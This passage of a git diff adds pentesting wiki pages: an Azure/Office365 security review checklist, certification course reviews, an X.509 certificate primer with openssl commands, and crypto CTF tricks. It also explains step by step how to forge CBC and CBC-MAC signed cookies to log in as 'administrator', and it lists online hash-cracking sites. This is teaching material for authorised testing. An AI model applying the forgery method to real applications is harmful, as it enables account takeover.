+* Unencrypted services running \(telnet, http, ...\)?
+* Unprotected admin consoles?
+* In general, check that all services are correctly protected depending on their needs
+
+## Azure
+
+Access the portal here: [http://portal.azure.com/](http://portal.azure.com/)  
+To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
+
+It is recommended to **install azure-cli** in a **linux** and **windows** virtual machines \(to be able to run powershell and python scripts\): [https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli?view=azure-cli-latest)  
+Then, run `az login` to login. Note the **account information** and **token** will be **saved** inside _&lt;HOME&gt;/.azure_ \(in both Windows and Linux\).
+
+Remember that if the **Security Centre Standard Pricing Tier** is being used and **not** the **free** tier, you can **generate** a **CIS compliance scan report** from the azure portal. Go to _Policy & Compliance-&gt; Regulatory Compliance_ \(or try to access [https://portal.azure.com/\#blade/Microsoft\_Azure\_Security/SecurityMenuBlade/22](https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/22)\).  
+\_\_If the company is not paying for a Standard account you may need to review the **CIS Microsoft Azure Foundations Benchmark** by "hand" \(you can get some help using the following tools\). Download it from [**here**](https://www.newnettechnologies.com/cis-benchmark.html?keyword=&gclid=Cj0KCQjwyPbzBRDsARIsAFh15JYSireQtX57C6XF8cfZU3JVjswtaLFJndC3Hv45YraKpLVDgLqEY6IaAhsZEALw_wcB#microsoft-azure).
+
+### Run scanners
+
+Run the scanners to look for **vulnerabilities** and **compare** the security measures implemented with **CIS**.
+
+```bash
+pip install scout
+scout azure --cli --report-dir <output_dir>
+
+#Fix azureaudit.py before launching cs.py
+#Adding "j_res = {}" on line 1074
+python cs.py -env azure
+
+#Azucar is an Azure security scanner for PowerShell (https://github.com/nccgroup/azucar)
+#Run it from its folder
+.\Azucar.ps1 -AuthMode Interactive -ForceAuth -ExportTo EXCEL
+
+#Azure-CIS-Scanner,CIS scanner for Azure (https://github.com/kbroughton/azure_cis_scanner)
+pip3 install azure-cis-scanner #Install
+azscan #Run, login before with `az login`
+```
+
+### Attack Graph
+
+[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work.
+
+### More checks
+
+* Check for a **high number of Global Admin** \(between 2-4 are recommended\). Access it on: [https://portal.azure.com/\#blade/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/Overview](https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/Overview)
+* Global admins should have MFA activated. Go to Users and click on Multi-Factor Authentication button.
+
+![](../.gitbook/assets/image%20%28281%29.png)
+
+* Dedicated admin account shouldn't have mailboxes \(they can only have mailboxes if they have Office 365\).
+* Local AD shouldn't be sync with Azure AD if not needed\([https://portal.azure.com/\#blade/Microsoft\_AAD\_IAM/ActiveDirectoryMenuBlade/AzureADConnect](https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/AzureADConnect)\). And if synced Password Hash Sync should be enabled for reliability. In this case it's disabled:
+
+![](../.gitbook/assets/image%20%2852%29.png)
+
+* **Global Administrators** shouldn't be synced from a local AD. Check if Global Administrators emails uses the domain **onmicrosoft.com**. If not, check the source of the user, the source should be Azure Active Directory, if it comes from Windows Server AD, then report it.
+
+![](../.gitbook/assets/image%20%2889%29.png)
+
+* **Standard tier** is recommended instead of free tier \(see the tier being used in _Pricing & Settings_ or in [https://portal.azure.com/\#blade/Microsoft\_Azure\_Security/SecurityMenuBlade/24](https://portal.azure.com/#blade/Microsoft_Azure_Security/SecurityMenuBlade/24)\)
+* **Periodic SQL servers scans**: 
+
+  _Select the SQL server_ --&gt; _Make sure that 'Advanced data security' is set to 'On'_ --&gt; _Under 'Vulnerability assessment settings', set 'Periodic recurring scans' to 'On', and configure a storage account for storing vulnerability assessment scan results_ --&gt; _Click Save_
+
+* **Lack of App Services restrictions**: Look for "App Services" in Azure \([https://portal.azure.com/\#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites](https://portal.azure.com/#blade/HubsExtension/BrowseResource/resourceType/Microsoft.Web%2Fsites)\) and check if anyone is being used. In that case check go through each App checking for "Access Restrictions" and there aren't rules, report it. The access to the app service should be restricted according to the needs.
+
+## Office365
+
+You need **Global Admin** or at least **Global Admin Reader** \(but note that Global Admin Reader is a little bit limited\). However, those limitations appear in some PS modules and can be bypassed accessing the features via the web application.
+
+## AWS
+
+Get objects in graph: [https://github.com/FSecureLABS/awspx](https://github.com/FSecureLABS/awspx)
+
diff --git a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md
new file mode 100644
index 00000000000..2c4c9a30fcc
--- /dev/null
+++ b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md
@@ -0,0 +1,51 @@
+# INE Courses and eLearnSecurity Certifications Reviews
+
+## eLearnSecurity Mobile Application Penetration Tester \(eMAPT\) and the respective INE courses
+
+### Course: [**Android & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting)\*\*\*\*
+
+This is the course to **prepare for the eMAPT certificate exam**. It will teach you the **basics of Android** as OS, how the **applications works**, the **most sensitive components** of the Android applications, and how to **configure and use** the main **tools** to test the applications. The goal is to **prepare you to be able to pentest Android applications in the real life**.
+
+I found the course to be a great one for **people that don't have any experience pentesting Android** applications. However, **if** you are someone with **experience** in the topic and you have access to the course I also recommend you to **take a look to it**. That **was my case** when I did this course and even having a few years of experience pentesting Android applications **this course taught me some Android basics I didn't know and some new tricks**.
+
+Finally, note **two more things** about this course: It has **great labs to practice** what you learn, however, it **doesn't explain every possible vulnerability** you can find in an Android application. Anyway, that's not an issue as **it teach you the basics to be able to understand other Android vulnerabilities**.  
+Besides, once you have completed the course \(or before\) you can go to the [**Hacktricks Android Applications pentesting section**](../mobile-apps-pentesting/android-app-pentesting/) and learn more tricks.
+
+### Course: [**iOS & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)\*\*\*\*
+
+When I performed this course I didn't have much experience with iOS applications, and I found this **course to be a great resource to get me started quickly in the topic, so if you have the chance to perform the course don't miss the opportunity.** As the previous course, this course will teach you the **basics of iOS**, how the **iOS** **applications works**, the **most sensitive components** of the applications, and how to **configure and use** the main **tools** to test the applications.  
+However, there is a very important difference with the Android course, if you want to follow the labs, I would recommend you to **get a jailbroken iOS or pay for some good iOS emulator.**
+
+As in the previous course, this course has some very useful labs to practice what you learn, but it doesn't explain every possible vulnerability of iOS applications. However, that's not an issue as **it teach you the basics to be able to understand other iOS vulnerabilities**.  
+Besides, once you have completed the course \(or before\) you can go to the [**Hacktricks iOS Applications pentesting section**](../mobile-apps-pentesting/ios-pentesting/) and learn more tricks.
+
+### [eMAPT](https://elearnsecurity.com/product/emapt-certification/)
+
+> The eLearnSecurity Mobile Application Penetration Tester \(eMAPT\) certification is issued to cyber security experts that display advanced mobile application security knowledge through a scenario-based exam.
+
+The goal of this certificate is to **show** that you are capable of performing common **mobile applications pentests**.
+
+During the exam you are **given 2 vulnerable Android applications** and you need to **create** an A**ndroid** **application** that **exploits** the vulnerabilities automatically. In order to **pass the exam**, you need to **send** the **exploit** **application** \(the apk and the code\) and it must **exploit** the **other** **apps** **vulnerabilities**.
+
+Having done the [**INE course about Android applications pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) **is** **more than enough** to find the vulnerabilities of the applications. What I found to be more "complicated" of the exam was to **write an Android application** that exploits vulnerabilities. However, having some experience as Java developer and looking for tutorials on the Internet about what I wanted to do **I was able to complete the exam in just some hours**. They give you 7 days to complete the exam, so if you find the vulnerabilities you will have plenty of time to develop the exploit app.
+
+In this exam I **missed the opportunity to exploit more vulnerabilities**, however, **I lost a bit the "fear" to write Android applications to exploit a vulnerability**. So it felt just like **another part of the course to complete your knowledge in Android applications pentesting**.
+
+## eLearnSecurity Web application Penetration Tester eXtreme \(eWPTXv2\) and the INE course related
+
+### Course: [**Web Application Penetration Testing eXtreme**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)\*\*\*\*
+
+This course is the one meant to **prepare** you for the **eWPTXv2** **certificate** **exam**.   
+Even having been working as web pentester for several years before doing the course, it taught me several **neat hacking tricks about "weird" web vulnerabilities and ways to bypass protections**. Moreover, the course contains **pretty nice labs where you can practice what you learn**, and that is always helpful to fully understand the vulnerabilities.
+
+I think this course **isn't for web hacking beginners** \(there are other INE courses for that like [**Web Application Penetration Testing**](https://my.ine.com/CyberSecurity/courses/38316560/web-application-penetration-testing)**\).** However, ****if you aren't a beginner, independently on the hacking web "level" you think you have, **I definitely recommend you to take a look to the course** because I'm sure you **will learn new things** like I did.
+
+### [eWPTXv2](https://elearnsecurity.com/product/ewptxv2-certification/)
+
+> The eLearnSecurity Web Application Penetration Tester eXtreme \(eWAPTX\) is our most advanced web application pentesting certification. The eWPTX exam requires students to perform an expert-level penetration test that is then assessed by INE’s cyber security instructors. Students are expected to provide a complete report of their findings as they would in the corporate sector in order to pass.
+
+The exam was composed of a **few web applications full of vulnerabilities**. In order to pass the exam you will need to compromise a few machines abusing web vulnerabilities. However, note that that's not enough to pass the exam, you need to **send a professional pentest report detailing** all the vulnerabilities discovered, how to exploit them and how to remediate them.  
+**I reported more than 10 unique vulnerabilities** \(most of them high/critical and presented in different places of the webs\), including the read of the flag and several ways to gain RCE and I passed.
+
+**All the vulnerabilities I reported could be found explained in the** [**Web Application Penetration Testing eXtreme course**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**.** However, order to pass this exam I think that you **don't only need to know about web vulnerabilities**, but you need to be **experienced exploiting them**. So, if you are doing the course, at least practice with the labs and potentially play with other platform where you can improve your skills exploiting web vulnerabilities.
+
diff --git a/crypto/certificates.md b/crypto/certificates.md
new file mode 100644
index 00000000000..e939f56bdd3
--- /dev/null
+++ b/crypto/certificates.md
@@ -0,0 +1,176 @@
+# Certificates
+
+## What is a Certificate
+
+In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner \(called the subject\), and the digital signature of an entity that has verified the certificate's contents \(called the issuer\). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject.
+
+In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) \(PKI\) scheme, the certificate issuer is a [certificate authority](https://en.wikipedia.org/wiki/Certificate_authority) \(CA\), usually a company that charges customers to issue certificates for them. By contrast, in a [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) scheme, individuals sign each other's keys directly, in a format that performs a similar function to a public key certificate.
+
+The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure \(X.509\)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280.
+
+## x509 Common Fields
+
+* **Version Number:** Version of x509 format.
+* **Serial Number**: Used to uniquely identify the certificate within a CA's systems. In particular this is used to track revocation information.
+* **Subject**: The entity a certificate belongs to: a machine, an individual, or an organization.
+  * **Common Name**: Domains affected by the certificate. Can be 1 or more and can contain wildcards.
+  * **Country \(C\)**: Country
+  * **Distinguished name \(DN\)**: The whole subject: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net`
+  * **Locality \(L\)**: Local place
+  * **Organization \(O\)**: Organization name
+  * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\).
+  * **State or Province \(ST, S or P\)**: List of state or province names
+* **Issuer**: The entity that verified the information and signed the certificate.
+  * **Common Name \(CN\)**: Name of the certificate authority
+  * **Country \(C\)**: Country of the certificate authority
+  * **Distinguished name \(DN\)**: Distinguished name of the certificate authority
+  * **Locality \(L\)**: Local place where the organisation can be found.
+  * **Organization \(O\)**: Organisation name
+  * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\).
+* **Not Before**: The earliest time and date on which the certificate is valid. Usually set to a few hours or days prior to the moment the certificate was issued, to avoid [clock skew](https://en.wikipedia.org/wiki/Clock_skew#On_a_network) problems.
+* **Not After**: The time and date past which the certificate is no longer valid.
+* **Public Key**: A public key belonging to the certificate subject. \(This is one of the main parts as this is what is signed by the CA\)
+  * **Public Key Algorithm**: Algorithm used to generate the public key. Like RSA.
+  * **Public Key Curve**: The curve used by the elliptic curve public key algorithm \(if apply\). Like nistp521.
+  * **Public Key Exponent**: Exponent used to derive the public key \(if apply\). Like 65537.
+  * **Public Key Size**: The size of the public key space in bits. Like 2048.
+  * **Signature Algorithm**: The algorithm used to sign the public key certificate.
+  * **Signature**: A signature of the certificate body by the issuer's private key.
+* **x509v3 extensions**
+  * **Key Usage**: The valid cryptographic uses of the certificate's public key. Common values include digital signature validation, key encipherment, and certificate signing.
+    * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `Digital Signature`
+  * **Extended Key Usage**: The applications in which the certificate may be used. Common values include TLS server authentication, email protection, and code signing.
+    * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `TLS Web Server Authentication`
+  * **Subject Alternative Name:**  Allows users to specify additional host **names** for a single SSL **certificate**. The use of the SAN extension is standard practice for SSL certificates, and it's on its way to replacing the use of the common **name**.
+  * **Basic Constraint:** This extension describes whether the certificate is a CA certificate or an end entity certificate. A CA certificate is something that signs certificates of others and a end entity certificate is the certificate used in a web page for example \(the last par of the chain\).
+  *  **Subject Key Identifier** \(SKI\): This extension declares a unique **identifier** for the public **key** in the certificate. It is required on all CA certificates. CAs propagate their own SKI to the Issuer **Key Identifier** \(AKI\) extension on issued certificates. It's the hash of the subject public key.
+  * **Authority Key Identifier**: It contains a key identifier which is derived from the public key in the issuer certificate. It's the hash of the issuer public key.
+  * **Authority Information Access** \(AIA\): This extension contains at most two types of information :
+    * Information about **how to get the issuer of this certificate** \(CA issuer access method\)
+    * Address of the **OCSP responder from where revocation of this certificate** can be checked \(OCSP access method\).
+  * **CRL Distribution Points**: This extension identifies the location of the CRL from which the revocation of this certificate can be checked. The application that processes the certificate can get the location of the CRL from this extension, download the CRL and then check the revocation of this certificate.
+  * **CT Precertificate SCTs**: Logs of Certificate transparency regarding the certificate
+
+### Difference between OSCP and CRL Distribution Points
+
+**OCSP** \(RFC 2560\) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**.  
+**CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.  
+From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm#:~:text=OCSP%20%28RFC%202560%29%20is%20a,to%20download%20the%20entire%20CRL.&text=A%20CRL%20provides%20a%20list,or%20are%20no%20longer%20valid.).
+
+### What is Certificate Transparency
+
+Certificate Transparency aims to remedy certificate-based threats by **making the issuance and existence of SSL certificates open to scrutiny by domain owners, CAs, and domain users**. Specifically, Certificate Transparency has three main goals:
+
+* Make it impossible \(or at least very difficult\) for a CA to **issue a SSL certificate for a domain without the certificate being visible to the owner** of that domain.
+* Provide an **open auditing and monitoring system that lets any domain owner or CA determine whether certificates have been mistakenly or maliciously** issued.
+* **Protect users** \(as much as possible\) from being duped by certificates that were mistakenly or maliciously issued.
+
+#### **Certificate Logs**
+
+Certificate logs are simple network services that maintain **cryptographically assured, publicly auditable, append-only records of certificates**. **Anyone can submit certificates to a log**, although certificate authorities will likely be the foremost submitters. Likewise, anyone can query a log for a cryptographic proof, which can be used to verify that the log is behaving properly or verify that a particular certificate has been logged. The number of log servers doesn’t have to be large \(say, much less than a thousand worldwide\), and each could be operated independently by a CA, an ISP, or any other interested party.
+
+#### Query
+
+You can query the logs of Certificate Transparency of any domain in [https://crt.sh/](https://crt.sh/).
+
+## Formats
+
+There are different formats that can be used to store a certificate.
+
+#### **PEM Format**
+
+* It is the most common format used for certificates
+* Most servers \(Ex: Apache\) expects the certificates and private key to be in a separate files -   Usually they are Base64 encoded ASCII files -   Extensions used for PEM certificates are .cer, .crt, .pem, .key files -   Apache and similar server uses PEM format certificates
+
+#### **DER Format**
+
+* The DER format is the binary form of the certificate
+* All types of certificates & private keys can be encoded in DER format
+* DER formatted certificates do not contain the "BEGIN CERTIFICATE/END CERTIFICATE" statements
+* DER formatted certificates most often use the ‘.cer’ and '.der' extensions
+* DER is typically used in Java Platforms
+
+#### **P7B/PKCS\#7 Format**
+
+* The PKCS\#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c
+* A P7B file only contains certificates and chain certificates \(Intermediate CAs\), not the private key
+* The most common platforms that support P7B files are Microsoft Windows and Java Tomcat
+
+#### **PFX/P12/PKCS\#12 Format**
+
+* The PKCS\#12 or PFX/P12 format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file
+* These files usually have extensions such as .pfx and .p12
+* They are typically used on Windows machines to import and export certificates and private keys
+
+### Formats conversions
+
+**Convert x509 to PEM**
+
+```text
+openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
+```
+
+#### **Convert PEM to DER**
+
+```text
+openssl x509 -outform der -in certificatename.pem -out certificatename.der
+```
+
+**Convert DER to PEM**
+
+```text
+openssl x509 -inform der -in certificatename.der -out certificatename.pem
+```
+
+**Convert PEM to P7B**
+
+**Note:** The PKCS\#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c. ****A P7B file only contains certificates and chain certificates \(Intermediate CAs\), not the private key. The most common platforms that support P7B files are Microsoft Windows and Java Tomcat.
+
+```text
+openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
+```
+
+**Convert PKCS7 to PEM**
+
+```text
+openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
+```
+
+**Convert pfx to PEM**
+
+**Note:** The PKCS\#12 or PFX format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys.
+
+```text
+openssl pkcs12 -in certificatename.pfx -out certificatename.pem
+```
+
+**Convert PFX to PKCS\#8**  
+**Note:** This requires 2 commands
+
+**1- Convert PFX to PEM**
+
+```text
+openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
+```
+
+**2- Convert PEM to PKCS8**
+
+```text
+openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
+```
+
+**Convert P7B to PFX**  
+**Note:** This requires 2 commands
+
+1- **Convert P7B to CER**
+
+```text
+openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
+```
+
+**2- Convert CER and Private Key to PFX**
+
+```text
+openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile  cacert.cer
+```
+
diff --git a/crypto/cipher-block-chaining-cbc-mac-priv.md b/crypto/cipher-block-chaining-cbc-mac-priv.md
new file mode 100644
index 00000000000..01d3f011fd1
--- /dev/null
+++ b/crypto/cipher-block-chaining-cbc-mac-priv.md
@@ -0,0 +1,65 @@
+---
+description: 'https://pentesterlab.com/'
+---
+
+# Cipher Block Chaining CBC-MAC
+
+**Post from** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
+
+## CBC
+
+The easiest attack to test is that if the cookie just the username encrypted.
+
+If the cookie is only the username \(or the first part of the cookie is the username\) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and bruteforce the first byte of the cookie.
+
+## CBC-MAC
+
+CBC-MAC is a method to ensure integrity of a message by encrypting it using CBC mode and keeping the last encrypted block as "signature". This ensures that a malicious user can not modify any part of the data without having to change the signature. The key used for the "encryption" ensures that the signature can't be guessed.
+
+However, when using CBC-MAC, the developer needs to be very careful if the message are not of fixed length. In this example, we will use the fact that there is no protection in place to get the application to sign two messages and build another message by concatenating the two messages.
+
+## Theory
+
+With CBC-MAC, we can generate two signatures `t` and `t'` for the messages `m` and `m'`. By using `m` and `m'` we can forge another message `m''` that will have the same signature as `m'` \(`t'`\). One thing to keep in mind is that the recommended way to use CBC-MAC is to use a NULL IV.
+
+To keep things simple, we are going to work on a single block for each message.
+
+We can see below how signing both messages works \(NB: both signatures are completely independent from each other\):
+
+![](https://pentesterlab.com/cbc-mac/cbc-mac-1.png)
+
+If we try to concatenate those messages, the signature is no longer valid \(since `t` is now the IV for the second block where it was only NULL before\):
+
+![](https://pentesterlab.com/cbc-mac/cbc-mac-2.png)
+
+However, if we XOR `m'` and `t`, the signature is now `t'`:
+
+![](https://pentesterlab.com/cbc-mac/cbc-mac-3.png)
+
+## Implementation
+
+Based on the size of the signature, we can guess that the block size is likely to be 8. With this information, we will split `administrator`:
+
+* `administ`
+* `rator\00\00\00`
+
+We can trivially generate the signature for the first block, by just logging in and retrieving the signature `t`.
+
+For the second block, we want the `m'` XOR `t` to be equal to `rator\00\00\00`. So to generate the second username we will need to XOR `rator\00\00\00` with `t` \(since the application will sign it with a NULL IV instead of `t`\). Once we have this value, we can get the signature `t'`.
+
+Finally, we just need to concatenate `m` and `m'` to get `administrator` and use `t'` as signature.
+
+#### Resume
+
+1. Get the signature of username **administ** =  **t**
+2. Get the signature of username **rator\x00\x00\x00 XOR t** = **t'**
+3. Set in the cookie the value **administrator+t'** \(**t'** will be a valid signature of **\(rator\x00\x00\x00 XOR t\) XOR t** = **rator\x00\x00\x00**
+
+### CBC-MAC simple attack \(controlling IV\)
+
+If you can control the used IV the attack could be very easy.
+
+To impersonate the user "**administrator**" you can create the user "**Administrator**" and you will have the cookie with the **username+signature** and the cookie with the **IV**.
+
+To generate the cookies of the username "**administrator**" change the first cookie and set the username from "**Administrator**" to "**administrator**". Change the first byte of the cookie of the **IV** so **IV\[0\] XOR "A" == IV'\[0\] XOR "a"**. Using these cookies you can login as administrator.
+
diff --git a/crypto/crypto-ctfs-tricks.md b/crypto/crypto-ctfs-tricks.md
new file mode 100644
index 00000000000..b2529d9dd11
--- /dev/null
+++ b/crypto/crypto-ctfs-tricks.md
@@ -0,0 +1,256 @@
+# Crypto CTFs Tricks
+
+## Online Hashes DBs
+
+* _**Google it**_
+* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
+* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com/)
+* [https://crackstation.net/](https://crackstation.net/)
+* [https://md5decrypt.net/](https://md5decrypt.net/)
+* [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
+* [https://gpuhash.me/](https://gpuhash.me/)
+* [https://hashes.org/search.php](https://hashes.org/search.php)
+* [https://www.cmd5.org/](https://www.cmd5.org/)
+* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
+* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
+
+## Encoders
+
+Most of encoded data can be decoded with these 2 ressources:
+
+* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
+* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
+
+### Substitution Autosolvers
+
+* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
+* [https://quipqiup.com/](https://quipqiup.com/) - Very good !
+
+#### Caesar - ROTx Autosolvers
+
+* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
+
+#### Atbash Cipher
+
+* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
+
+### Similar to BASE64
+
+Check all bases with: [https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)
+
+* **Base32** \[_A-Z2-7=_\]
+  * `NBXWYYLDMFZGCY3PNRQQ====`
+* **Base58** \[_123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz_\]
+  * `2yJiRg5BF9gmsU6AC`
+* **Base62** \[_0-9A-Za-z_\]
+  * `g2AextRZpBKRBzQ9`
+* **Base64** \[_A-Za-z0-9+/=_\]
+  * `aG9sYWNhcmFjb2xh`
+* **Base85 --&gt; Like Ascii85**
+* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_\]
+  * `MIc3KiXa+Ihz+lrXMIc3KbCC`
+* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_\]
+  * `DmPsv8J7qrlKEoY7`
+* **MEGAN35** \[_3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5_\]
+  * `kLD8iwKsigSalLJ5`
+* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_\]
+  * `ayRiIo1gpO+uUc7g`
+* **ESAB46** \[\]
+  * `3sHcL2NR8WrT7mhR`
+* **MEGAN45** \[\]
+  * `kLD8igSXm2KZlwrX`
+* **TIGO3FX** \[\]
+  * `7AP9mIzdmltYmIP9mWXX`
+* **TRIPO5** \[\]
+  * `UE9vSbnBW6psVzxB`
+* **FERON74** \[\]
+  * `PbGkNudxCzaKBm0x`
+* **GILA7** \[\]
+  * `D+nkv8C1qIKMErY1`
+* **Citrix CTX1** \[\]
+  * `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
+
+[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+
+### HackerizeXS \[_╫Λ↻├☰┏_\]
+
+```text
+╫☐↑Λ↻Λ┏Λ↻☐↑Λ
+```
+
+* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
+
+### Morse
+
+```text
+.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
+```
+
+* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
+
+### UUencoder
+
+```text
+begin 644 webutils_pl
+M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
+M3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/
+F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
+`
+end
+```
+
+* [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
+
+### XXEncoder
+
+```text
+begin 644 webutils_pl
+hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
+5Hol-G2xAEE++
+end
+```
+
+* [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
+
+### YEncoder
+
+```text
+=ybegin line=128 size=28 name=webutils_pl
+ryvkryvkryvkryvkryvkryvkryvk
+=yend size=28 crc32=35834c86
+```
+
+* [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
+
+### BinHex
+
+```text
+(This file must be converted with BinHex 4.0)
+:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
+-38K26%'d9J!!:
+```
+
+* [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
+
+### ASCII85
+
+```text
+<~85DoF85DoF85DoF85DoF85DoF85DoF~>
+```
+
+* [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
+
+### Dvorak keyboard
+
+```text
+drnajapajrna
+```
+
+* [https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
+
+### A1Z26
+
+Letters to their numerical value
+
+```text
+8 15 12 1 3 1 18 1 3 15 12 1
+```
+
+### Affine Cipher Encode
+
+Letter to num `(ax+b)%26` \(_a_ and _b_ are the keys and _x_ is the letter\) and the result back to letter
+
+```text
+krodfdudfrod
+```
+
+### SMS Code
+
+**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) \(This mode is used when writing SMS\).  
